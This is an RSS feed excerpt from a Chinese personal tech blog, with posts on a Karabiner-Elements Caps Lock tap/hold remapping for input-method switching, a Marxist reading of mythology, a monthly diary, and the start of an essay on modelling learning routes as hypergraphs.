&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;basic&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;from&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nt"&gt;&amp;#34;key_code&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;caps_lock&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;&amp;#34;modifiers&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nt"&gt;&amp;#34;optional&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;any&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;to_if_alone&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="nt"&gt;&amp;#34;key_code&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;f18&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;}],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;to_if_held_down&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="nt"&gt;&amp;#34;key_code&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;caps_lock&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;&amp;#34;hold_down_milliseconds&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="p"&gt;}],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;parameters&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;basic.to_if_alone_timeout_milliseconds&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;basic.to_if_held_down_threshold_milliseconds&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;语义与 keyd 的 &lt;code&gt;timeout(f14, 250, capslock)&lt;/code&gt; 逐项对齐：松手快于 250ms 发 &lt;code&gt;f18&lt;/code&gt;，按住满 250ms 发一次真 &lt;code&gt;caps_lock&lt;/code&gt;。&lt;code&gt;hold_down_milliseconds: 200&lt;/code&gt; 是让合成的 down/up 保持足够长，不被 HID 层的防误触吞掉（官方 rule 同款做法）。写好后在 Karabiner-Elements → Complex Modifications → Add rule 里 Enable。&lt;/p&gt;
&lt;h3 id="3-系统设置"&gt;3. 系统设置
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;「键盘 → 键盘快捷键… → 输入」：把&lt;strong&gt;选择&amp;quot;输入&amp;quot;菜单中的下一个输入法&lt;/strong&gt;绑到 &lt;strong&gt;F18&lt;/strong&gt;。MacBook 没有 F18 实体键——规则生效后&lt;strong&gt;快按一下 Caps Lock 就是 F18&lt;/strong&gt;，直接录进去。&lt;/li&gt;
&lt;li&gt;关掉&lt;strong&gt;使用 Caps Lock 键切换到和从 ABC&lt;/strong&gt;。不关的话，长按发出来的 &lt;code&gt;caps_lock&lt;/code&gt; 会被它吞去切输入法，大写锁就废了。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;不要用 Karabiner 的 &lt;code&gt;select_input_source&lt;/code&gt; 切中文输入法：官方文档明确它对 CJKV（有 &lt;code&gt;input_mode_id&lt;/code&gt; 的）输入法会失败，走系统快捷键最稳。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="验证"&gt;验证
&lt;/h2&gt;&lt;p&gt;短按立刻切输入法、长按切大写锁、再长按切回。用 Karabiner-EventViewer 或下面的探针看实际发出的事件：短按应看到 &lt;code&gt;keyDown f18 (79)&lt;/code&gt;，长按看到 &lt;code&gt;flagsChanged caps_lock (57)&lt;/code&gt; 且大写状态正常翻转。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;未做毫秒级测量&lt;/strong&gt;。改前改后的对比只有主观感受：快按不再被丢，切换即时发生；输入法冷启动那点延迟仍在（那是根因第 2 段，跟按键无关）。&lt;/p&gt;
&lt;h2 id="回滚"&gt;回滚
&lt;/h2&gt;&lt;p&gt;KE 里 Disable 该规则；系统设置解绑 F18、勾回&amp;quot;使用 Caps Lock 键切换到和从 ABC&amp;quot;；彻底卸载用 &lt;code&gt;brew uninstall --cask karabiner-elements&lt;/code&gt;。副作用只有一个：Caps Lock 不再是即按即大写锁。&lt;/p&gt;
&lt;h2 id="附"&gt;附
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/U1traVeno/U1traVeno.github.io/blob/main/content/post/2026/macos-capslock-karabiner-tap-hold/keyprobe.swift" target="_blank" rel="noopener"
&gt;&lt;code&gt;keyprobe.swift&lt;/code&gt;&lt;/a&gt; —— 按键事件探针（listen-only CGEventTap），&lt;code&gt;swift keyprobe.swift&lt;/code&gt; 直接跑，首次运行要给终端「输入监控」授权。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="参考"&gt;参考
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/apple-oss-distributions/IOHIDFamily" target="_blank" rel="noopener"
&gt;Apple OSS · IOHIDFamily/IOHIDKeyboardFilter.mm&lt;/a&gt;：&lt;code&gt;kCapsLockDelayMS 75&lt;/code&gt;、&lt;code&gt;processCapsLockDelay&lt;/code&gt; 的 &amp;ldquo;kill the down event&amp;rdquo; / &amp;ldquo;kill the up event&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://web.archive.org/web/20150115033359/https://support.apple.com/en-us/HT201509" target="_blank" rel="noopener"
&gt;Apple HT201509（存档）&lt;/a&gt;：&amp;ldquo;designed to reduce accidental activation&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://karabiner-elements.pqrs.org/docs/help/how-to/disable-caps-lock-delay/" target="_blank" rel="noopener"
&gt;Karabiner-Elements · disable caps lock delay&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://karabiner-elements.pqrs.org/docs/json/complex-modifications-manipulator-definition/to/select-input-source/" target="_blank" rel="noopener"
&gt;Karabiner-Elements · to.select_input_source&lt;/a&gt;（CJKV 警告）&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://karabiner-elements.pqrs.org/docs/manual/misc/required-macos-settings/" target="_blank" rel="noopener"
&gt;Karabiner-Elements · required macOS settings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://developer.apple.com/library/archive/technotes/tn2450/_index.html" target="_blank" rel="noopener"
&gt;Apple TN2450&lt;/a&gt;（&lt;code&gt;hidutil&lt;/code&gt; 重映射备选方案及其代价）&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>【神话与现实 - 序】唯物史观视角下的神话</title><link>https://v3n0.com/post/mythos-and-reality/0/</link><pubDate>Sun, 06 Sep 2026 18:52:08 +0800</pubDate><guid>https://v3n0.com/post/mythos-and-reality/0/</guid><description>&lt;p&gt;翻开希腊神话，看到宙斯手握雷霆、高高在上地统治奥林匹斯山，人们或许习惯将其归结为“古希腊人浪漫而肆意的想象”。&lt;/p&gt;
&lt;p&gt;但如果去除神话的光环，冷酷的现实就会浮现：宙斯并不是什么正义的维护者。他只是个投影，是个铁器时代的父权奴隶主首领的投影。他手里的雷霆是绝对的暴力手段，他的掠夺是对私有财产和女性生育权的宣示，而他建立的所谓奥林匹斯秩序，不过是古希腊城邦中，奴隶制国家机器的官僚体系。&lt;/p&gt;
&lt;p&gt;从来不是神明创造了人类社会。恰恰相反，是人类创造出了神明。神话只是人类社会发展阶段的镜像。古希腊人的生活，依赖奴隶劳动，充满城邦兼并战争，父权绝对主导。他们无法想象出一个博爱平等的造物主，自然只能将他们现实中最高统治者的贪婪、威权、暴力和私欲投射到奥林匹斯山上。&lt;/p&gt;
&lt;p&gt;这次打算新开的专栏取名为 &lt;strong&gt;Mythos &amp;amp; Reality（神话与现实）&lt;/strong&gt;，正是为了尝试揭示这层一直被掩盖的映射关系。&lt;/p&gt;
&lt;p&gt;漫长的人类史中，神话、神秘学、宗教乃至高深的哲学，常被奉为超脱于世俗之上的“神圣知识”。然而，马克思和恩格斯在近两百年前就已看穿了这个秘密。人类首先必须吃、喝、住、穿，然后才能从事政治、科学、艺术和宗教。因此，不存在神仙或是救世主创造神话，创造神话的是那个时代的生产力水平、私有财产的分配方式、家庭的组织形态，以及国家暴力的凝结过程。&lt;/p&gt;
&lt;p&gt;当人类还在用石器采集野生果实，没有剩余财产时，神灵是无脸的大地母神和自然的风雨；当金属工具爆发出剩余财富，私有制产生，母系氏族被推翻，神话里便轰轰烈烈地上演了“&lt;a class="link" href="https://zh.wikipedia.org/wiki/%E5%8B%92%E6%8B%BF%E4%B9%9D%E5%A4%B4%E8%9B%87" target="_blank" rel="noopener"
&gt;英雄杀死巨蛇&lt;/a&gt;”，“&lt;a class="link" href="https://zh.wikipedia.org/wiki/%E9%A9%AC%E5%B0%94%E6%9D%9C%E5%85%8B" target="_blank" rel="noopener"
&gt;父权主神登基&lt;/a&gt;”；当国家机器建立，军队和法庭斩断了血缘，神话便成为维护统治合法性的官方法权，也就有了所谓的“君权神授”。&lt;/p&gt;
&lt;p&gt;人们常说，神话是虚构的，而历史是真实的。然而真是这样吗？在人类文明的早期，没有档案库，神话就是古人眼中唯一的历史。而在漫长的时间中，绝大多数所谓的正史，也无非是统治阶级为了利益精心编织的合法神话。这样来看，神话和历史并无本质的不同。&lt;/p&gt;
&lt;p&gt;既然神话和历史都是被建构的叙事，这就产生了&lt;a class="link" href="https://zh.wikipedia.org/zh-cn/%E7%9B%B8%E5%B0%8D%E4%B8%BB%E7%BE%A9" target="_blank" rel="noopener"
&gt;相对主义&lt;/a&gt;：如果所有叙事都可能是谎言，如果只有相对的叙事，没有绝对的真实，那我们研究神话和历史还有什么意义？&lt;/p&gt;
&lt;p&gt;唯物史观给出了答案。叙事是相对虚构的，但是迫使人们去建构叙事的物质条件和生存境况，是绝对的、真实的。饥饿是真实的，铁器的锋利是真实的，被剥夺了土地的奴隶的痛苦是真实的。&lt;/p&gt;
&lt;p&gt;正因为谎言本身就是真相的倒影。没有人亲历过全部的历史，但人类的物质生产却会留下不朽的烙印。&lt;/p&gt;
&lt;p&gt;在唯物史观的视角下，我们不会试图去争辩神话里的神仙是否真的存在，也不纠结于史书里的传奇是否严丝合缝。唯物史观的使命是拨开现象看本质。究竟是什么样的工具、什么样的土地、什么样的财产分配，让那个时代的人们，选择用这样的神话与历史来讲述自己？这便是本系列想尝试去做的事情。&lt;/p&gt;
&lt;p&gt;这个系列前几篇打算先跟着《家庭、私有制和国家的起源》的脉络，先看看人类如何从无阶级的自然部落，一步步走向私有制、父权家庭与国家暴力，以及这些变迁如何在神话中体现。也许能算作这本书的导读。之后，再看看国家如何将神话变成正统的宗教，而无法收编的原始残余又是如何变成地下的神秘学。也可能会涉及到现代。可能更新很慢，期待一下吧。&lt;/p&gt;</description></item><item><title>八月，九月</title><link>https://v3n0.com/post/2026/sweet-summer/</link><pubDate>Mon, 31 Aug 2026 23:37:18 +0800</pubDate><guid>https://v3n0.com/post/2026/sweet-summer/</guid><description>&lt;p&gt;我表达欲也许实际上非常旺盛，因为我一旦写起文章就停不下来，动辄几千字，可比高中写无聊的八股有意思的多，而且不需要用笔写，用键盘就行。&lt;/p&gt;
&lt;p&gt;我的表达欲又似乎完全没有了，因为实际上我就算写得再多，事实上几乎不会有人去看我的文章，似乎我能知道的经常看我文章的只有半只手能数得过来，还是我手动推送过去的几个相处几年的知己。有时候就算我分享出去也不会有人搭理，可能我推送文章也跟个广告机器人一样。我也有连着精确的五个月没发过 QQ 动态了，上次是 3 月 31 日。于是，基本上只有需要整理自己思路的时候，可能才会写文章了。写的也大多是技术总结，至少还有几个人会看。如果写点只和我个人相关的见解或是情绪，那估计更没人会看了。&lt;/p&gt;
&lt;p&gt;事实上，我一写文，就停不下来，往往十一点开始写，写到凌晨三四点钟。AI 当然可以一下子生成。我只需要跟 AI 说，我在想什么，它就能噼里啪啦输出一大段文字。但最终发现即便是句句有回应的 AI ，就算我反复审稿，反复让它调整语句，也从来没有真正理解过我。AI 的文字往往词不达意，每句话每个字我都不认识。我就只让它写点纯粹的技术记录笔记了。语音输入我也不喜欢，我讨厌一个人呆着的时候发出嗓音，而且我键盘打字并没有比语音慢多少，语音还没法修改。&lt;/p&gt;
&lt;p&gt;比起花很长的时间手写一篇没人看的文章，还不如干点别的更有意义的事情。&lt;/p&gt;
&lt;p&gt;不过这篇文章也许会有人看，所以就写了，梳理一下八月做过的一些事情，以及九月准备做点什么。&lt;/p&gt;
&lt;h2 id="八月"&gt;八月
&lt;/h2&gt;&lt;h3 id="神秘学"&gt;神秘学
&lt;/h3&gt;&lt;p&gt;古希腊时代，没有钟表，据说当时的人产生了两种时间的概念，进而传说两位神明，一位叫 Chronos，是手持镰刀的老人。他代表着连续的，无情的时间，这种时间随着日月交替均匀变化，另一位叫 Kairos ，是宙斯最小的儿子，并不代表线性的时间。或许可以叫契机，或是决定性的时刻。Chronos 往往被描绘成吞噬自己孩子的神灵，将一切事物推向衰老与消逝。 Kairos 被塑造成一位头顶留着长发、后脑勺却是光头的年轻神祇。这意味着当他迎面走来时，你必须迅速抓住他的头发。一旦错过，他飞身离去，光溜溜的后脑勺将让你无处可抓，代表着 &amp;ldquo;Now is the time&amp;rdquo;。&lt;/p&gt;
&lt;p&gt;我也不知道为什么要提这两个神，可能只是因为我最近一段时间突然对西方神话体系，以及神秘学体系开始感兴趣了，比如炼金术之类的。但并不是因为我相信或者想实践古老的魔法，这些都是过去的人们受时代限制的，一种形而上学的，对世界的感性而非理性的认识。我对这些东西感兴趣，是想联系着时代背景去考究它。因为神话不是凭空出现的，它也是人创造的，反映了人的意识，通常反映了那个时代最关心的问题。比如希腊神话的海神之所以那么重要，是因为希腊民族是海洋的民族，耕地少，到处是岛屿，总是要海上贸易。为什么北欧神话总是那么悲壮？因为他们生活的地区有着漫长的冬天，耕地贫瘠，生存困难，经常战争，于是他们相信世界终将毁灭，传说诸神黄昏，所以他们的神明和人一样，是会死亡的，Odin 被狼杀死，Thor 因蛇毒而亡。研究他们的神话，本质上也是在研究他们的社会。&lt;/p&gt;
&lt;p&gt;扯远了，但是为什么我能联想到 Chronos 和 Kairos 呢？或许是因为写到这之前，我刚刚在想，我要记录所谓做过的一些事情，实际上根本没办法记录线性的时间，而只能记住那些决定性的时刻。我可能总会忘记我前天吃了什么，但我会记住，在七月底或八月初，我突然开始对这些神话感兴趣了。因此记录下来，说不定以后有个高中生版本的我会发现我竟然在几年之后对这些东西感兴趣。&lt;/p&gt;
&lt;h3 id="休假"&gt;休假
&lt;/h3&gt;&lt;p&gt;之前一直在写代码，现在倒是在团队里基本不写代码了，充当类似顾问的角色。七月份我基本上在忙着整理团队的资料，尽量把团队任务管理给自动化，以及做一下项目的下一阶段启动。虽然现在发现实际上效果没多好，不过至少把我累着了。&lt;/p&gt;
&lt;p&gt;团队买了个大几万的服务器，得运维完配好网再回扬州。本来以为八月之前，结果因为台风之类的，拖到八月初才配完，临时找的学校放服务器的房间还没空调，热得要死。八月六号回扬州第一顿吃了个七欣天。&lt;/p&gt;
&lt;p&gt;之后给自己放了个十几天的假，因为基本上也没啥忙活要干，天天在摸鱼。回来第三天跟高中同学吃了顿饭。&lt;/p&gt;
&lt;p&gt;从杭州只带了个 macbook，基本上没有什么游戏能玩的，于是开了个 Minecraft 服务器跟朋友玩。&lt;/p&gt;
&lt;p&gt;高中的时候玩 Minecraft，沉迷于最原版的所谓生电玩法，基本是在以解构游戏的底层逻辑为乐趣，不断加深对世界的认识直到翻游戏源码的程度，再用这些理性的认识用以去实践去改造世界，实现不可思议的创造。后来发现这层哲学竟然与毛泽东《实践论》的“实践、认识、再实践”别无二致，也难怪青睐马哲的我会喜欢这样的玩法。&lt;/p&gt;
&lt;p&gt;但是这次玩 Minecraft，我对这样的玩法感到疲惫了。一个游戏终究也是代码写成的，已经把游戏解构到代码层面了，对世界的认识已经很难有进一步的深入了。于是我破天荒的开了模组服务器，事实上这才是现在玩 Minecraft 的人更加大众的玩法。&lt;/p&gt;
&lt;h3 id="去上海"&gt;去上海
&lt;/h3&gt;&lt;p&gt;客户机器上的软件崩溃，最后查出来是个很搞笑的运维失误，翻了几个月前的命令历史发现是团队成员在半夜神智不清的时候手动编译客户软件，打错个字母还没发现，造成了客户的软件使用了错误的认证信息，触发我们的认证失败机制，才一直隐蔽崩溃。在这个层面上，其实我七月份的努力也并不是没有价值，能让 AI 十分钟就一下查到几个月前的运维的拼写错误，如果没整理的话可能永远都发现不了。&lt;/p&gt;
&lt;p&gt;关于客户的软件编译其实还有好笑的点，我们事实上为了软件显得大一点，往里面塞了一集甄嬛传，不同客户的甄嬛传塞的哪一集还不一样，也许方便有盗版流出的时候查到，但更多其实是感觉比较好玩。客户应该不会读我的博客。&lt;/p&gt;
&lt;p&gt;总之需要出差去昆山重新安装一下正常的软件。上午到昆山，中午到公司，几小时装完，晚饭前就到了上海。吃了顿很辣的牛蛙，晚上去逛了外滩，赶在末班地铁前回了旅馆，三人挤两张床。&lt;/p&gt;
&lt;p&gt;我其实很喜欢各种建筑，不管是中式的古代建筑，还是欧式，或者现代科技才能实现的雄伟奇观。之前去西安，看到的城墙倒没有吸引我，反而是西安万象城的世界之树让我惊叹。我后悔没拍下照片。于是这次我至少拍了外滩。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/sweet-summer/%E5%A4%96%E6%BB%A9-1.jpg"
width="2462"
height="3295"
srcset="https://v3n0.com/post/2026/sweet-summer/%E5%A4%96%E6%BB%A9-1_hu_2dbb33aa0d1107d.jpg 480w, https://v3n0.com/post/2026/sweet-summer/%E5%A4%96%E6%BB%A9-1_hu_840664f6d1baae0b.jpg 1024w"
loading="lazy"
alt="外滩-1"
class="gallery-image"
data-flex-grow="74"
data-flex-basis="179px"
&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/sweet-summer/%E5%A4%96%E6%BB%A9-2.jpg"
width="2736"
height="3648"
srcset="https://v3n0.com/post/2026/sweet-summer/%E5%A4%96%E6%BB%A9-2_hu_df6da585de21534e.jpg 480w, https://v3n0.com/post/2026/sweet-summer/%E5%A4%96%E6%BB%A9-2_hu_fc50c60d8ac8972b.jpg 1024w"
loading="lazy"
alt="外滩-2"
class="gallery-image"
data-flex-grow="75"
data-flex-basis="180px"
&gt;&lt;/p&gt;
&lt;p&gt;第二天上午去打卡了雾雨咖啡店，属于是老车万人必打卡的地标了，也算是圆了高中的很小的心愿。雾雨咖啡店和之前几年前视频上看到的布局变化很大。老板看上去给人一种世外高人的感觉。可惜跟我一块的两个人都没听说过东方 Project。老板说如果要打卡的话可以随便拍照，做完咖啡，送了几张明信片，过了一会儿离开了店。出于一种善良的心理，我在脑补他会不会是因为看我好像太社恐不太敢到处乱拍照，于是离开一会儿。或许他其实只是去上个厕所。
&lt;img src="https://v3n0.com/post/2026/sweet-summer/%E9%9B%BE%E9%9B%A8%E5%92%96%E5%95%A1%E5%BA%97-1.jpg"
width="2736"
height="3648"
srcset="https://v3n0.com/post/2026/sweet-summer/%E9%9B%BE%E9%9B%A8%E5%92%96%E5%95%A1%E5%BA%97-1_hu_63e86ee0c7fe2749.jpg 480w, https://v3n0.com/post/2026/sweet-summer/%E9%9B%BE%E9%9B%A8%E5%92%96%E5%95%A1%E5%BA%97-1_hu_53539515724d4fc7.jpg 1024w"
loading="lazy"
alt="雾雨咖啡店-1"
class="gallery-image"
data-flex-grow="75"
data-flex-basis="180px"
&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/sweet-summer/%E9%9B%BE%E9%9B%A8%E5%92%96%E5%95%A1%E5%BA%97-2.jpg"
width="2736"
height="3648"
srcset="https://v3n0.com/post/2026/sweet-summer/%E9%9B%BE%E9%9B%A8%E5%92%96%E5%95%A1%E5%BA%97-2_hu_b191cc226356544c.jpg 480w, https://v3n0.com/post/2026/sweet-summer/%E9%9B%BE%E9%9B%A8%E5%92%96%E5%95%A1%E5%BA%97-2_hu_43e72abd26a5139c.jpg 1024w"
loading="lazy"
alt="雾雨咖啡店-2"
class="gallery-image"
data-flex-grow="75"
data-flex-basis="180px"
&gt;&lt;/p&gt;
&lt;p&gt;说到底，其实杭州离上海真的特别近，我可能早就应该去上海逛逛。&lt;/p&gt;
&lt;p&gt;打卡过咖啡店之后，去参加了 Keysight 的一个会议，发现我们竟然做的产品实际上已经超越了他们的某一个方向，还是有点开心，算是增长我的自信。至于其他的硬件东西，我是一点都听不懂。&lt;/p&gt;
&lt;p&gt;听不懂，于是我就发呆，想点自己的东西。于是在会上灵光一闪，联想到之前想做的教程平台的产品。如果把各种知识建模成有向无环图（DAG），这样似乎竟然可以推导出最佳的知识学习路线，进而生产教程。为什么会想到呢，也许是因为团队做的软件即将做工作流功能也是 DAG 吧。跟导师分享了一下这个想法，他特别看好。&lt;/p&gt;
&lt;p&gt;我在会议座位的草稿纸上画了个牛来。&lt;/p&gt;
&lt;p&gt;晚上吃了顿火锅很好吃。吃完之后二人赶车回杭州，我离检票还剩两个多小时，不知道能去哪。干脆直接去了火车站，改签到最近的车票回扬州了。&lt;/p&gt;
&lt;h3 id="derivon"&gt;Derivon
&lt;/h3&gt;&lt;p&gt;这词是我编的，不存在这个词。但也不是瞎编的。词根拉丁语或者英语词根 Deriv- ，一般人会联想到 Derive 衍生，派生，Derivation 推导。后缀 -on 一般用于物理基本粒子，比如 Electron，Proton，Phonton。&lt;/p&gt;
&lt;p&gt;取名 Derivon，因为把“推导”作为最基本的粒子。&lt;/p&gt;
&lt;p&gt;事实上，它就是出自于我刚刚说到，在上海想到的把知识建模成图，在知识地图上做导航。&lt;/p&gt;
&lt;p&gt;先前想做的教程平台，就算把教学的形式做的再好，事实上并不解决优质教程产出的问题，因此那个想法也迟迟不能吸引我去投入精力动手开发。而且，似乎这条路子已经被很多人走过了，我未必就打得过。如果只是让 AI 帮忙教书，那和 ChatGPT 多加点交互式插件有什么区别呢？比较典型的就是清华的 openMAIC，一句话生成课件，多加几个 Agent ，模仿有其他学生在教室里看视频课做提问，他们还真就靠这样的路子做了个社区了，不愧是清华。&lt;/p&gt;
&lt;p&gt;但这次我自以为是真的想清楚了。关于这个产品的真实心路历程，不在此篇多说，可以去上一篇看看前半段数学建模以前的部分： &lt;a class="link" href="https://v3n0.com/post/2026/learning-route-hypergraph/" target="_blank" rel="noopener"
&gt;《学习效率的矛盾分析与学习路线的数学建模》&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;建模 DAG 自动计算教学路线，至少这次想法足够吸引人，所以我立刻开始着手去实践了。数学论证了一下，又改进了模型设计，从 DAG 变成了加权有向 B 超图，模型最终自洽了。&lt;/p&gt;
&lt;p&gt;立刻就开始投入精力去做 demo，拉了个群一起体验，发现效果还真的挺不错，验证了数学模型的成立。一周写了一万多行能用的代码，每天都是醒来就开写，一直到睡前都得开个 /goal ，让模型跑起来了再睡。感兴趣的可以看 &lt;a class="link" href="https://mindmap.derivon.net/" target="_blank" rel="noopener"
&gt;https://mindmap.derivon.net/&lt;/a&gt; ，不过需要用 Chromium 浏览器登录。或者去 &lt;a class="link" href="https://github.com/derivon-research/derivon-mindmap" target="_blank" rel="noopener"
&gt;https://github.com/derivon-research/derivon-mindmap&lt;/a&gt; 。&lt;/p&gt;
&lt;h2 id="九月"&gt;九月
&lt;/h2&gt;&lt;p&gt;写到这里，3900 字，从 23:37 新建文件夹到现在正好凌晨两点。&lt;/p&gt;
&lt;p&gt;一个人记录自己做过的事尚可理解。但记录自己即将要做的事情，是在许愿还是在计划？还是说记录的其实是写下计划的那个时刻？许愿和计划的区别又是什么？&lt;/p&gt;
&lt;p&gt;想干掉清华或者什么的项目，想重构出新的教学系统，想把优质教程的生产和消费变成社会化、机械自动化的过程，这是愿望。如何推动 Derivon 项目便是我做的计划。实际上，我确实在 31 号下午把 Demo 验证的差不多了，列好了项目接下来的里程碑。&lt;/p&gt;
&lt;p&gt;听起来当然很中二，我自己都觉得中二，但是我觉得中二没啥毛病。都说目标得设置的宏大一点，才有机会实现小一点的目标，这是自我预言。所以好的，我就干脆把做成全球化的平台当成自己的目标，去规划下一步了。想到什么就做什么，什么让自己比较有激情去全身心投入就全力去做什么。所以我觉得不一定每天摸鱼才叫随缘，这也是一种随缘。想放假就放假，想 All in 就 All in，是我可能只有在大学才能更好享受的随缘。&lt;/p&gt;
&lt;p&gt;九月份要做的事情，我实际上就是打算逐一实现项目的里程碑。虽然我在自己的飞书组织里写的详细多了，但总不可能复制过来。简而言之，打磨 Demo，做点更吸引人的案例，开始做推广，搭建 Derivon Hub，实现复利。至于达到哪一个阶段，倒是说不准，但我希望做到最后一步，那么说不定就能至少推广起来了。&lt;/p&gt;</description></item><item><title>学习效率的矛盾分析与学习路线的数学建模</title><link>https://v3n0.com/post/2026/learning-route-hypergraph/</link><pubDate>Thu, 20 Aug 2026 19:22:04 +0800</pubDate><guid>https://v3n0.com/post/2026/learning-route-hypergraph/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;本文 LLM 使用成分声明&lt;/strong&gt;：LLM 使用场景在本文主要在数学模型的推演验证和严谨化，现有论文的查询和解析。本篇使用的加权有向 B-超图相关结论验证过程主要使用 claude-opus-5。本文除最后大章的数学论证（AI 编写，人工审核）以外的全部文字叙述，包括数学模型的重构思路，由人工编写，无生成。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a class="link" href="https://v3n0.com/post/2026/everything-is-concept/" target="_blank" rel="noopener"
&gt;上一篇的模型&lt;/a&gt;远远不够完善，并且 gpt-5.6-sol 撰写的文章也并没有讲清楚我的思路和心路历程。因而有了改进之后的建模，以及这篇文章。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;在 &lt;a class="link" href="https://v3n0.com/post/2026/learning-method/" target="_blank" rel="noopener"
&gt;《逃离应试教育，重新学会怎么思考》&lt;/a&gt;那篇文章中我提到，学习一个知识体系的过程，本质上是在寻找它的“最小生成元 + 生成规则”，不断压缩信息的过程。&lt;/p&gt;
&lt;p&gt;在我自己的学习经历和观察体会的现象当中，我反复认识到，&lt;strong&gt;学习路线才是学习效率的决定性因素&lt;/strong&gt;。不同学习路线带来的学习成本差距是数量级上的差距，远远大于学生个人理解能力、教师面对同一教纲的教学能力、或其他的什么因素。关于这点，我个人的经历可以参考&lt;a class="link" href="https://v3n0.com/post/2026/everything-is-concept/" target="_blank" rel="noopener"
&gt;上篇文章的开头&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;经历这些事情之后，我经常沉迷于思考这样的一个问题：&lt;/p&gt;
&lt;p&gt;怎样才能做到把优质的学习路线的生产和消费转化为社会化的规模？&lt;/p&gt;
